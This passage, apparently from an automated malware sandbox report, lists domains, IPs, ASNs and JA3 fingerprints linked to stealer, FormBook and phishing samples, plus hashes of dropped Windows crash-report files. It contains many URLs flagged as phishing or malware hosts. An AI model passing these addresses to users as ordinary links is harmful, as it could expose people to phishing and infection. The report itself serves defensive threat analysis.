                                                                                                                                                                                                          • ww1.runfoxyrun.com/administrator/?usid=18&utid=25958169812
                                                                                                                                                                                                          SecuriteInfo.com.Trojan.StarterNET.7.17684.18588.exeGet hashmaliciousCrypt888Browse
                                                                                                                                                                                                          • sedoparking.com/search/tsc.php?200=MA==&21=OC40Ni4xMjMuMTc1&681=MTcxNjMxMjE0MWY1NmI2ZTE3YWRhNzQ1NTQ0YWU2YWE5NjFlODJjNTA3&crc=d6b1fae0fdd94b66f56f39d95a078b744354bd61&cv=1

                                                                                                                                                                                                          Domains

                                                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                          lysyvan.comspug64.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 172.67.136.136
                                                                                                                                                                                                          aAP32K91Qx.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 194.195.211.98
                                                                                                                                                                                                          szLAUZKesq.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 194.195.211.98
                                                                                                                                                                                                          JevgQ6OvYY.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 194.195.211.98
                                                                                                                                                                                                          77026.bodis.comAxgZVzUv8m.exeGet hashmaliciousPonyBrowse
                                                                                                                                                                                                          • 199.59.243.226
                                                                                                                                                                                                          https://www.regionvictoriaville.com/page/?ContentID=1257Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 199.59.243.226
                                                                                                                                                                                                          https://emv1.jo333.com/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 199.59.243.226
                                                                                                                                                                                                          https://www.jo333.com/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 199.59.243.226
                                                                                                                                                                                                          https://emv1.lqhyhy.cn/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 199.59.243.226
                                                                                                                                                                                                          https://www.pnxubwf.cn/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 199.59.243.226
                                                                                                                                                                                                          http://costpointfoundations.coGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 199.59.243.226
                                                                                                                                                                                                          LisectAVT_2403002A_327.dllGet hashmaliciousWannacryBrowse
                                                                                                                                                                                                          • 199.59.243.226
                                                                                                                                                                                                          Ia93PTYivQ.exeGet hashmaliciousBlackMoon, NeshtaBrowse
                                                                                                                                                                                                          • 199.59.243.226
                                                                                                                                                                                                          gUJak0onLk.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 199.59.243.226
                                                                                                                                                                                                          parkingpage.namecheap.comDHL_AWB#6078538091.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 91.195.240.19
                                                                                                                                                                                                          proforma invoice.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 91.195.240.19
                                                                                                                                                                                                          Arrival Notice.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 91.195.240.19
                                                                                                                                                                                                          qEW7hMvyV7.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 91.195.240.19
                                                                                                                                                                                                          z42ordemdecomprapdf.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 91.195.240.19
                                                                                                                                                                                                          shipping documents.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 91.195.240.19
                                                                                                                                                                                                          MV Sunshine, ORDER.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 91.195.240.19
                                                                                                                                                                                                          7MZSs0P9IvJHGya.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 91.195.240.19
                                                                                                                                                                                                          NEcFLmCS7qNMwHy.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 91.195.240.19
                                                                                                                                                                                                          NNj87.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 91.195.240.19
                                                                                                                                                                                                          pupycag.comspug64.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 34.174.78.212
                                                                                                                                                                                                          10627546311.zipGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 199.21.76.77
                                                                                                                                                                                                          galynuh.comspug64.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 64.225.91.73
                                                                                                                                                                                                          kz2xIsjyEH.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 72.14.178.174
                                                                                                                                                                                                          10627546311.zipGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 173.255.194.134
                                                                                                                                                                                                          pupydeq.comspug64.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 13.248.169.48
                                                                                                                                                                                                          aAP32K91Qx.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 194.195.211.98
                                                                                                                                                                                                          0HVVcaZuD1.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 194.195.211.98
                                                                                                                                                                                                          iN9u7DdJv4.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 194.195.211.98
                                                                                                                                                                                                          szLAUZKesq.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 194.195.211.98
                                                                                                                                                                                                          JevgQ6OvYY.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 194.195.211.98
                                                                                                                                                                                                          lyvyxor.comspug64.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          kz2xIsjyEH.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          10627546311.zipGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          aAP32K91Qx.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          0HVVcaZuD1.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          iN9u7DdJv4.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          szLAUZKesq.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          JevgQ6OvYY.exeGet hashmaliciousSimda StealerBrowse
                                                                                                                                                                                                          • 208.100.26.245
                                                                                                                                                                                                          b1a72.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 208.100.26.245

                                                                                                                                                                                                          ASNs

                                                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                          NBS11696USKKveTTgaAAsecNNaaaa.ppc.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 64.33.213.169
                                                                                                                                                                                                          http://efense.com/v3/__https:/www.duke-energy.com/find-it-duke__%3B!!No0KQ4w!udAqG0Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 64.190.63.136
                                                                                                                                                                                                          z55FACTURADEPROFORMApdf.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                                                                                                                                          • 64.190.62.22
                                                                                                                                                                                                          Transferencia bancaria.scr.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 64.190.62.22
                                                                                                                                                                                                          Udspecialiser45.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                                                                                                          • 64.190.62.22
                                                                                                                                                                                                          DHL SHIPPING DOCUMENT.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 64.190.62.22
                                                                                                                                                                                                          7qBBKk0P4l.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 64.190.63.222
                                                                                                                                                                                                          mtuXDnH1Di.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 64.190.63.222
                                                                                                                                                                                                          7qBBKk0P4l.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 64.190.63.222
                                                                                                                                                                                                          mtuXDnH1Di.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 64.190.63.222
                                                                                                                                                                                                          TANDEMUShttp://solarrebater.org/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 15.197.193.217
                                                                                                                                                                                                          https://ipfs.io/ipfs/Qmctx3fdVsajRA8gHw2wP5UHNMxaJ7D37h2UWxpgk6T6iKGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                          • 15.197.193.217
                                                                                                                                                                                                          http://att-108024.weeblysite.com/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                          • 15.197.193.217
                                                                                                                                                                                                          http://airdrop-manta-pacific-99s.pages.dev/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 15.197.222.64
                                                                                                                                                                                                          https://www.iheartjane.com/embed/stores/3953/menuGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 15.197.213.252
                                                                                                                                                                                                          ptsss.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 15.197.204.56
                                                                                                                                                                                                          QSFD.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 15.197.192.55
                                                                                                                                                                                                          http://mantraonlittlebourke.guestreservations.com/35061/booking?gad_source=1&gclid=EAIaIQobChMIl-2ym7yFiAMV19QWBR2tTADfEAAYAiAFEgIBzPD_BwEGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 15.197.193.217
                                                                                                                                                                                                          Atlas Copco- WEPCO.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 15.197.148.33
                                                                                                                                                                                                          AK4UlXhsnL.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 15.197.204.56
                                                                                                                                                                                                          AKAMAI-ASN1EUfile.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 23.59.250.80
                                                                                                                                                                                                          file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 23.219.82.57
                                                                                                                                                                                                          file.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                          • 23.197.127.21
                                                                                                                                                                                                          file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 104.70.121.216
                                                                                                                                                                                                          file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 23.200.0.9
                                                                                                                                                                                                          file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 23.200.0.42
                                                                                                                                                                                                          file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 23.200.0.42
                                                                                                                                                                                                          file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 23.219.161.132
                                                                                                                                                                                                          Review_Aonoro.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 88.221.110.136
                                                                                                                                                                                                          https://email.mail.shpcfirm.com/c/eJxUk7uyur4CRp9Guzi5AaGwAARF9t7e8PKzcUJIJAoIgqA8_RmrM_-v_Va5Fq-qi06njHOLUYVAqpQBKEU24AwjQLhhKC4tm5BknE4VRYwzOpZTZGFKiGkwPM6mDEqk0oQrwyLCEBSbkJqJKVJBKEuxHOsphphChjGimEA0sRBOGGemaWAhCU9HFBZc55Mmq4TSz2IiHsU4n2ZtWzUj4oxwMMLBtcD9gCdKMzZRaXOXX2qEAym-p_OdW7zh0fgpleU-PKuk4XwTP-WVOJsCgbisZ1UZicMrudqnILjugcf7rh4yF1bzINM2TO51maW3f2azdXtwMl4GQGrZG0N7ivel723lLmw-4QWs3k9xrZ4CH6y_MI9k4PW9dy9uh-PBBmShV8sDOeGzPVs7dy6KLlLc29bqsZZdpKGOvYggr3yxrhHx0Aymrx59x89td7857nJv2HV4gcPO47jCj4Xrn56yQH7oM7mogYP-THjwryX0amv1l-Td6r6OeV5aLLILqxCBa77dY9T2-cqul7vNL1JZvNwm4rR3_PiMHs469F8980zf__fyRWonrMrkO1Q1zE7Cvv2hMjPmhdgmND1vAzfyz0IH-Vuud40fWDr_cS4P9pGbwzolWZ97Q1yHHvWOrhE9PzPkcX9nlgt83Gh0ur-Sn3Axd6_zUG3KXD5_X9H-aGMdtOcOz6XuhrvvoJ2Wm2WVGJvdp43vDZcIkJ_ZYJUZuxaxAodf7_1SSTy3FdbeYPImUNcRmY3LR6uVFrzVj_IrsyGwZEggYBkcAyoxAzaVFNiYMmFAiASH4yrnH_n84oKntmkxAUxKMKBcQMAVTAFPTBMzBUnC7PFzenvlWo4o_I-ijSzTS6uL_wdh2eNuiv8XAAD__xdyDpEGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                          • 172.233.33.242
                                                                                                                                                                                                          AMAZON-AESUSAdobe Download Manager.exeGet hashmaliciousAZORult, Quasar, RamnitBrowse
                                                                                                                                                                                                          • 44.221.84.105
                                                                                                                                                                                                          http://ikenn99.store/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 18.211.221.153
                                                                                                                                                                                                          http://solarrebater.org/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 34.227.216.239
                                                                                                                                                                                                          https://www.evernote.com/shard/s561/sh/11f2002c-b1a0-eb62-6088-816b3f90b1bb/Fg7pFg2UgsqSSiKlZa-LSaNHwI-aq133o_EjOkBitzRaEPMq5fq9Vaoh8AGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                          • 34.235.253.128
                                                                                                                                                                                                          FW_ SLS properties Credit application.msgGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 52.71.28.102
                                                                                                                                                                                                          https://embeds.beehiiv.com/6ccbaa66-d598-45d6-bc9c-c0957ce3574cGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                          • 3.89.65.79
                                                                                                                                                                                                          https://bstouten.sazular.com/?preview=1&v=99098329Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                          • 34.202.63.170
                                                                                                                                                                                                          https://l4vm89ff.r.us-west-2.awstrack.me/L0/https:%2F%2Fsnip.ly%2FFedExx/1/010101917bbe6db8-0435991f-93dd-44cd-b7b8-51bfd5cf53c7-000000/HIvKUOwubES5gbenLtlgHO_SzP8=389Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 104.192.142.23
                                                                                                                                                                                                          Review_Aonoro.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 54.167.154.99
                                                                                                                                                                                                          http://url103.dignitycampaign.net/ls/click?upn=u001.Cas5ugePNtSf1mSWabrqo3mcJtdueilvOPTgzdlEpUd4GqCBNMVtW-2F-2F2wgGqCLpTN6dAfdijLlYq9iwquJXmE-2BZj79F37Z0CckED5TsG4fQ25o-2Fg-2FPDuwQBBWHkJ8RPrCF5saPUwaAjeZZiD8h-2FB9W48m4tIaN6GGErXkSFKFmDgBEYW1T7k-2FnXnvn8ldLi-2FIdfk0aRSirefRJxNUdOIGpZfncANcS7uFNatgOPxV2Ygm6fLOUWLotwEqsin4Y1CmtZ7BxfF5foNolE-2Boa25K-2B7wPI3V-2B767Ve4mOhPgJzLgSnGmthLVhWy6BYQf00QNI659fk8q12w02DBMlmMrw3khDr3cnNgYYng2Y5i7BXuipr6DyeGT98fM-2FKBVEQSrbKIquH3JWJaaXzReEynWFW3nTYFz4s5xNRnFU5AokDAcZstvVwxKq-2FJ1IjM1twMf6Hwg_J4YDns4pksLrb17hOXi2aOEwqj3m3dsJSi8gSl9zOoLhblODLjz6IKGTmKF92YKf5UEx9qOPJhvHxt6OvXPWhTIMtIICg1dYT0JxHA0xPVOIL6-2FatGunkes1VHfyRgkBTjXb0N8OIv5rbfThOrNJV8o4LJaaqlIOJB8KNeMcZLv1BO01a-2BZFPSvVNpAIaUaUnS-2BTtMnNrsqDBXNDQiQ2C60GIMOxXkEBDcUqmXWKAXHT2jyJKnE-2BTVX7Dn6v15EXXnFGV7DsBJuyOfxy4Jpp-2FDgxjoJYvwKKleeNMeZbnV7GSaFm53K3rrMP7FHypDrTj5gZolkQN74G665MiZOGOEsJpZBxGWUmRe5KD1lnqv9UsmS5oXGuT59ef-2B-2BOIJwozGuQ8LcLU9sq2bhaxr5QKojdGSLYHkQV48pY3diE-2FSKipsOxgeSp8hri35emljCrDJ8o2gvEcqTrgSbi5z9cBSKny1JK-2FAw-2B-2Bt5GdKd66pp3fqQXb-2FO03pmb7PSvgIGO-2BeUcgeDGkShCS6uwIbaWf92ZS-2BRnf-2BH4JXvcFqQFMHG6QluReLkOtpCzV5c3fz0XkA9GRQTJKj7LLrgRu3TEig-3D-3DGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 52.21.16.41

                                                                                                                                                                                                          JA3 Fingerprints

                                                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                          37f463bf4616ecd445d4a1937da06e19x64_x32_installer__v4.2.2.msiGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          tKr6T60C1r.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          file.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          SUBOLETO202408-6861385.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          SUBOLETO202408-6861385.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          file.exeGet hashmaliciousLummaC, Stealc, VidarBrowse
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          file.exeGet hashmaliciousLummaC, VidarBrowse
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          file.exeGet hashmaliciousLummaC, Stealc, VidarBrowse
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          file.exeGet hashmaliciousLummaC, VidarBrowse
                                                                                                                                                                                                          • 188.114.96.3
                                                                                                                                                                                                          javawvd.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 188.114.96.3

                                                                                                                                                                                                          Dropped Files

                                                                                                                                                                                                          ⊘No context

                                                                                                                                                                                                          Created / dropped Files

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_oOzTQCDSVNrWDmuG_d5242147ed8425046ac7aa4f5431f81faef10e7_79a3f19c_310b6296-9368-4a8b-a68a-99020108e769\Report.wer

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):65536
                                                                                                                                                                                                          Entropy (8bit):0.9872743795299321
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:96:iOFOaxeVuXs1hJoI7JfdQXIDcQvc6QcEVcw3cE/H+HbHgnoW6He1Oy1QaSWAEN9h:lkoeUXD0BU/AjR9SKzuiFDZ24IO8m
                                                                                                                                                                                                          MD5:204BC1B1BE4B77670B518FD3463CB3EF
                                                                                                                                                                                                          SHA1:A7FC8EF0D9320301C91A95AEA3019327D730E90C
                                                                                                                                                                                                          SHA-256:93328371BFFDDE733CB1FDED9C6257949827D288813B6ADD7B51C815554A05DD
                                                                                                                                                                                                          SHA-512:27A4DC21E5521294541D34588963C8BF6DFF3A087ECBA3719BF03A4CE967EAB1BB55A88D073DC25E5183ADDE5B191452AA45C1E6F204878529FB331A6145E4AC
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.8.9.0.4.9.7.0.1.1.9.0.8.4.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.8.9.0.4.9.7.0.7.7.5.3.2.8.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.1.0.b.6.2.9.6.-.9.3.6.8.-.4.a.8.b.-.a.6.8.a.-.9.9.0.2.0.1.0.8.e.7.6.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.b.0.1.5.5.3.4.-.4.2.7.c.-.4.f.a.4.-.8.9.9.4.-.c.d.0.8.6.4.5.2.5.b.c.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.o.O.z.T.Q.C.D.S.V.N.r.W.D.m.u.G.q.z.F.b.K.R.b.Z.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.9.c.-.0.0.0.1.-.0.0.1.4.-.5.f.b.1.-.9.2.6.2.7.b.f.5.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.3.f.8.f.9.6.4.8.2.e.2.e.a.d.a.9.c.2.a.f.8.7.9.e.2.b.7.f.8.6.9.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.o.O.z.T.Q.C.D.S.V.N.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_oOzTQCDSVNrWDmuG_d5242147ed8425046ac7aa4f5431f81faef10e7_79a3f19c_8c845241-7f00-459b-a1f3-afea684e5b50\Report.wer

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):65536
                                                                                                                                                                                                          Entropy (8bit):1.0648867226537901
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:zOKleUMD0BU/AjR9SNnVBzuiFDZ24IO8m:zJzMwBU/AjbKzuiFDY4IO8m
                                                                                                                                                                                                          MD5:794D12F85514E6ACC233E4F98F129580
                                                                                                                                                                                                          SHA1:99202F7C474311113883214A32529BEDAA48E9A8
                                                                                                                                                                                                          SHA-256:A1DF086F67C264750C76817834BF173E8AF4931F754A7DFF136E8774179F9F77
                                                                                                                                                                                                          SHA-512:F7EFE939861FC5D72B092A502973EB90BD72FF71CC65FF51EDB13EF9BFE93F69B8327853253D66A1F735057015E4A67170A657E361F309FBA2B7FE64B7228D4D
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.8.9.0.4.9.6.7.0.7.7.0.2.4.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.8.9.0.4.9.6.8.1.7.0.7.8.3.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.c.8.4.5.2.4.1.-.7.f.0.0.-.4.5.9.b.-.a.1.f.3.-.a.f.e.a.6.8.4.e.5.b.5.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.e.d.5.f.3.2.7.-.8.e.0.e.-.4.3.3.f.-.b.e.b.b.-.e.f.e.d.9.0.9.4.b.c.8.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.o.O.z.T.Q.C.D.S.V.N.r.W.D.m.u.G.q.z.F.b.K.R.b.Z.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.0.a.c.-.0.0.0.1.-.0.0.1.4.-.6.1.d.5.-.9.b.6.2.7.b.f.5.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.3.f.8.f.9.6.4.8.2.e.2.e.a.d.a.9.c.2.a.f.8.7.9.e.2.b.7.f.8.6.9.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.o.O.z.T.Q.C.D.S.V.N.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_oOzTQCDSVNrWDmuG_d5242147ed8425046ac7aa4f5431f81faef10e7_79a3f19c_a62cb88f-4d50-4d56-815a-1be4f90889c4\Report.wer

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):65536
                                                                                                                                                                                                          Entropy (8bit):0.9873652185671744
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:96:zYQF1peVuCs1hJoI7JfdQXIDcQvc6QcEVcw3cE/H+HbHgnoW6He1Oy1QaSWAEN9y:zFZeUCD0BU/AjR9SKzuiFDZ24IO8m
                                                                                                                                                                                                          MD5:59CB6C435F926131F499D32F5941A52E
                                                                                                                                                                                                          SHA1:935F3CBEB96FE8FAD4EDD96FF72578EF58E8ECCE
                                                                                                                                                                                                          SHA-256:97D7EED47500AB76C9825929F508D0F4DD86E0D2BA456CC4046B8F8EE6432484
                                                                                                                                                                                                          SHA-512:2A0E849247EA32C8CCE3884D9EB5544E41CB8A67DFE2084AC457366AA882A72B745E8DC3376098387B3FEFD19FCC38B20FE7EA282495C0F7326276A16CCA27BF
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.8.9.0.4.9.6.7.4.4.6.9.4.6.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.8.9.0.4.9.6.8.2.9.0.6.9.0.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.6.2.c.b.8.8.f.-.4.d.5.0.-.4.d.5.6.-.8.1.5.a.-.1.b.e.4.f.9.0.8.8.9.c.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.c.d.b.9.5.6.6.-.a.4.5.b.-.4.0.2.f.-.9.2.8.0.-.7.c.a.d.b.0.4.e.3.b.8.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.o.O.z.T.Q.C.D.S.V.N.r.W.D.m.u.G.q.z.F.b.K.R.b.Z.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.2.4.0.-.0.0.0.1.-.0.0.1.4.-.b.9.b.c.-.9.9.6.2.7.b.f.5.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.3.f.8.f.9.6.4.8.2.e.2.e.a.d.a.9.c.2.a.f.8.7.9.e.2.b.7.f.8.6.9.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.o.O.z.T.Q.C.D.S.V.N.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_oOzTQCDSVNrWDmuG_d5242147ed8425046ac7aa4f5431f81faef10e7_79a3f19c_a7d0f928-ee14-4250-a92c-2d4ce37aecb6\Report.wer

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):65536
                                                                                                                                                                                                          Entropy (8bit):1.0519425360922412
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:96:0GFTeVuOs1hJoI7JfdQXIDcQvc6QcEVcw3cE/H+HbHgnoW6He1Oy1QaSWAEN9WKi:rheUOD0BU/AjR9SNnVwzuiFeZ24IO8m
                                                                                                                                                                                                          MD5:D7B1AD2C5688D65DA51473E1456F2961
                                                                                                                                                                                                          SHA1:B379536A8A6207CBA9CC646ABBE48CC8C5804D88
                                                                                                                                                                                                          SHA-256:EF7FFB273EE664AD43B5D3A06CFF8572825EC8B8825BF029D2154B839BB44B62
                                                                                                                                                                                                          SHA-512:6E68EDFF3AC75AAA52A6D532463E6548A0E4DEA0F43B1A8BCB518BC83728EE595E2DB0D3E00CBABC0122F67628F11DD724EAAC26D6A0AA6076061728A0A38E1D
                                                                                                                                                                                                          Malicious:false
